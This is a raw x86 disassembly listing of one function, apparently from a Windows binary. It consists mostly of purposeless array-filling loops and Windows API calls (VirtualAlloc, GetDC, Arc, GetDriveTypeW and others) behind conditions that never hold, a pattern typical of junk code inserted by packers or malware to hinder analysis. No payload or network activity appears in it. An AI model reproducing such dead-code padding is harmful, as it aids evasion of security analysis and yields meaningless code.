mov dword [ebp - 0x2c], eax
jmp 0x1003019c
mov dword [ebp - 0x1c], 0xeede0b40
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 4
jge 0x100300bc
mov eax, dword [ebp - 0x10]
mov dword [ebp + eax*4 - 0xed4], 0xfffffffa
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], 4
jl 0x100300a3
xor eax, eax
mov dword [ebp - 0x1c], eax
jmp 0x1003018f
mov dword [ebp - 0x24], 0xffffffff
mov dword [ebp - 0x24], eax
jmp 0x10030182
mov dword [ebp - 0x18], 0xc1188e17
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], esi
jge 0x100300fa
mov eax, dword [ebp - 0x10]
mov dword [ebp + eax*4 - 0xb8], 0x121f
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], esi
jl 0x100300e2
xor eax, eax
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], eax
jl 0x1003017f
mov eax, dword [ebp - 0x18]
xor ecx, ecx
cmp dword [ebp + eax*4 - 0xb8], ecx
je 0x10030133
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp + eax*4 - 0xb8]
mov eax, dword [ebp - 0xb8]
mov eax, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x18]
cmp dword [ebp + eax*4 - 0xb8], ecx
je 0x10030133
mov ecx, esi
jmp 0x10030135
xor eax, eax
mov eax, dword [ebp - 0xb8]
sub ecx, eax
mov edx, dword [ebp - 0x18]
add edx, ecx
neg edx
sbb edx, edx
xor ecx, ecx
inc edx
sub edx, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x2c]
cmp edx, eax
setg cl
xor edx, edx
add ecx, dword [ebp - 0x18]
mov eax, dword [ebp - 0x2c]
cmp ecx, eax
mov eax, dword [ebp - 0x18]
setg dl
xor ecx, ecx
mov eax, dword [ebp + eax*4 - 0xb8]
cmp eax, edx
setg cl
mov dword [ebp - 0xec8], ecx
dec dword [ebp - 0x18]
jns 0x10030102
xor eax, eax
inc dword [ebp - 0x24]
cmp dword [ebp - 0x24], 7
jne 0x100300d3
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], 0x16
jne 0x100300c4
inc dword [ebp - 0x2c]
cmp dword [ebp - 0x2c], 0x16
jne 0x10030093
mov dword [ebp - 0x20], 0xfffffffe
mov dword [ebp - 0x20], eax
jmp 0x100301d6
mov byte [ebp - 0x11], al
cmp byte [ebp - 0x11], 0
je 0x100301d3
push 0x14e7
push 0x25fa
push 0x1e4
push eax
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
xor eax, eax
dec dword [ebp - 0x20]
cmp dword [ebp - 0x20], 0xffffffe2
jl 0x100301b2
mov dword [ebp - 0x20], eax
or ecx, 0xffffffff
jmp 0x10030233
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], 3
jge 0x10030206
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0xd40], 0x1f78
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], 3
jl 0x100301ed
xor eax, eax
mov dword [ebp - 0x18], eax
jmp 0x1003021c
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0xb94], 0x29aa810d
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], ebx
jl 0x1003020b
mov eax, dword [ebp - 0xd38]
mov dword [ebp - 0xb94], eax
dec dword [ebp - 0x20]
push 0
pop eax
cmp dword [ebp - 0x20], ecx
jne 0x100301e4
mov eax, 0x4a9b
mov dword [ebp - 0x6c], eax
mov dword [ebp - 0x68], eax
mov dword [ebp - 0x64], eax
mov dword [ebp - 0x60], eax
xor eax, eax
mov byte [ebp - 0x11], al
cmp byte [ebp - 0x11], al
je 0x10030291
push 0x1969
push 0x530
push 0x16bf
push 0x15b0
push 0x1f3a
push 0x23b9
push 0x2a9
push 0x40e
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_Arc]
xor eax, eax
mov byte [ebp - 0x11], al
cmp byte [ebp - 0x11], 0
je 0x100302a9
push 0x25af
push eax
push eax
call dword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsW]
xor eax, eax
mov dword [ebp - 0x30], 0xffffffff
push 6
pop ecx
mov dword [ebp - 0x28], ecx
mov dword [ebp - 0x48], 0xfffffff8
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 3
jge 0x100302df
mov eax, dword [ebp - 0x10]
mov dword [ebp + eax*4 - 0xa68], 0x5f70ad6f
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], 3
jl 0x100302c6
xor eax, eax
mov dword [ebp - 0x28], ebx
cmp dword [ebp - 0x28], eax
jl 0x10030312
mov eax, dword [ebp - 0x28]
cmp dword [ebp + eax*4 - 0xa68], 0
jne 0x10030310
mov eax, dword [ebp - 0x28]
xor edx, edx
mov ecx, dword [ebp + eax*4 - 0xa68]
mov eax, dword [ebp - 0x28]
cmp ecx, eax
setg dl
mov dword [ebp - 0x48], edx
dec dword [ebp - 0x28]
jns 0x100302e7
xor eax, eax
mov byte [ebp - 0x11], al
cmp byte [ebp - 0x11], 0
je 0x1003032a
push eax
push 0xe52
push eax
call dword [sym.imp.OLEAUT32.dll_SafeArrayDestroy]
xor eax, eax
push 3
mov dword [ebp - 0x44], 0x89afca86
pop ecx
mov dword [ebp - 0x24], ecx
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 4
jge 0x10030359
mov eax, dword [ebp - 0x10]
mov dword [ebp + eax*4 - 0xc4c], 0x7786
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], 4
jl 0x10030340
xor eax, eax
mov dword [ebp - 0x24], eax
jmp 0x1003040d
mov dword [ebp - 0x28], esi
mov dword [ebp - 0x28], ecx
cmp dword [ebp - 0x28], eax
jl 0x1003040a
mov dword [ebp - 0x10], 0xfffffff8
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], esi
jge 0x10030397
mov eax, dword [ebp - 0x10]
mov dword [ebp + eax*4 - 0x620], 0xebfb2c41
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], esi
jl 0x1003037f
xor eax, eax
mov dword [ebp - 0x10], ecx
cmp dword [ebp - 0x10], eax
jl 0x10030401
mov dword [ebp - 0x3c], 0x823aaf5b
xor edx, edx
mov ecx, dword [ebp - 0x28]
mov eax, dword [ebp - 0xc48]
cmp eax, ecx
mov eax, dword [ebp - 0x28]
setle dl
mov ecx, dword [ebp + eax*4 - 0xc4c]
mov eax, dword [ebp - 0x10]
add eax, edx
xor edx, edx
cmp eax, ecx
mov eax, dword [ebp - 0x28]
setle dl
xor ecx, ecx
mov eax, dword [ebp + eax*4 - 0xc4c]
cmp eax, edx
setg cl
xor eax, eax
add ecx, 0x5f9a3d23
cmp ecx, 0xffffffff
setge al
mov dword [ebp - 0x3c], eax
mov eax, dword [ebp - 0x3c]
mov dword [ebp - 0x620], eax
dec dword [ebp - 0x10]
jns 0x1003039f
push 3
xor eax, eax
pop ecx
dec dword [ebp - 0x28]
jns 0x10030370
inc dword [ebp - 0x24]
cmp dword [ebp - 0x24], ecx
jle 0x10030361
mov dword [ebp - 0x38], 4
mov eax, 0x38462751
mov dword [ebp - 0x258], eax
mov edx, 0xffff
mov dword [ebp - 0x254], eax
mov dword [ebp - 0x250], eax
mov dword [ebp - 0x24c], eax
xor eax, eax
mov dword [ebp - 0x3c], eax
mov dword [ebp - 0x24], 0x827359b5
mov dword [ebp - 0x10], ecx
mov dword [ebp - 0x48], edx
mov dword [ebp - 0x3c], 0xfffffff8
mov dword [ebp - 0x3c], eax
mov dword [ebp - 0x3c], 0x1ad5b481
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], esi
jge 0x10030482
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0x634], 0xafd47030
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], esi
jl 0x1003046a
xor eax, eax
mov dword [ebp - 0x18], eax
jmp 0x10030498
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0xdd0], 0
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], ecx
jl 0x10030487
mov eax, dword [ebp - 0x250]
imul eax, dword [ebp - 0x254]
mov dword [ebp - 0x24], eax
mov eax, dword [ebp - 0x24c]
mov dword [ebp - 0x10], eax
mov eax, dword [ebp - 0x10]
sub eax, dword [ebp - 0x250]
neg eax
sbb eax, eax
inc eax
cmp eax, 0xfffffffc
sbb eax, eax
xor ecx, ecx
neg eax
test eax, eax
mov eax, dword [ebp - 0x24]
setg cl
imul eax, ecx
add eax, dword [ebp - 0x48]
je 0x100304e8
xor eax, eax
cmp dword [ebp - 0x10], eax
je 0x100304ea
mov eax, esi
jmp 0x100304ea
xor eax, eax
mov dword [ebp - 0x3c], 0x3880
cmp dword [ebp - 0x3c], eax
jge 0x100304fd
xor eax, eax
cmp dword [ebp - 0x24], eax
je 0x100304ff
mov eax, esi
mov dword [ebp - 0x3c], eax
xor ecx, ecx
mov eax, dword [ebp - 0x3c]
cmp eax, 0xffffffff
mov dword [ebp - 0x634], eax
sete cl
sub ecx, dword [ebp - 0x254]
neg ecx
sbb ecx, ecx
xor eax, eax
inc ecx
cmp ecx, 0x3765
setle al
mov dword [ebp - 0xdd0], eax
mov ecx, dword [ebp - 0x254]
imul ecx, eax
mov eax, dword [ebp - 0x254]
add eax, ecx
mov dword [ebp - 0x3c], eax
mov edx, dword [ebp - 0x3c]
mov eax, dword [ebp - 0x258]
neg edx
sbb edx, edx
xor ecx, ecx
inc edx
cmp edx, eax
setg cl
xor eax, eax
mov dword [ebp - 0x3c], ecx
mov dword [ebp - 0x2c], 0xd4e06482
mov dword [ebp - 0x38], 0xff12f3cc
mov dword [ebp - 0x3c], 0x9f08664a
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], 4
jge 0x10030595
mov ecx, 0xffff
mov eax, dword [ebp - 0x20]
mov dword [ebp + eax*4 - 0xcbc], ecx
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], 4
jl 0x10030580
xor eax, eax
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], ebx
jge 0x100305b5
mov eax, dword [ebp - 0x20]
mov dword [ebp + eax*4 - 0x7cc], 0xffffffff
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], ebx
jl 0x1003059d
xor eax, eax
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], 3
jge 0x100305d3
mov eax, dword [ebp - 0x20]
mov dword [ebp + eax*4 - 0x1120], esi
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], 3
jl 0x100305be
xor eax, eax
mov dword [ebp - 0x2c], eax
jmp 0x10030649
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 3
jge 0x100305fa
mov eax, dword [ebp - 0x10]
mov dword [ebp + eax*4 - 0x374], 0x7d45db34
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], 3
jl 0x100305e1
xor eax, eax
mov byte [ebp - 0x11], al
cmp byte [ebp - 0x11], 0
je 0x1003060c
push eax
call dword [sym.imp.KERNEL32.dll_GetDriveTypeW]
xor eax, eax
mov dword [ebp - 0x374], eax
cmp dword [ebp - 0x374], 3
jg 0x10030646
mov eax, dword [ebp - 0x374]
mov ecx, dword [ebp + eax*4 - 0xcbc]
mov eax, dword [ebp - 0x374]
mov dword [ebp + eax*4 - 0xcbc], ecx
inc dword [ebp - 0x374]
cmp dword [ebp - 0x374], 3
jle 0x1003061b
xor eax, eax
dec dword [ebp - 0x2c]
cmp dword [ebp - 0x2c], 0xffffffe3
jle 0x100305d8
mov dword [ebp - 0x3c], esi
xor edx, edx
mov eax, dword [ebp - 0x3c]
mov eax, dword [ebp - 0x7cc]
mov ecx, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x2c]
cmp ecx, eax
setg dl
xor eax, eax
test edx, edx
sets al
xor ecx, ecx
mov dword [ebp - 0x2c], eax
mov eax, dword [ebp - 0x2c]
cmp eax, 0x16e0
setl cl
add ecx, 0x77
xor eax, eax
mov dword [ebp - 0x7cc], ecx
mov dword [ebp - 0x10], eax
jmp 0x100306a0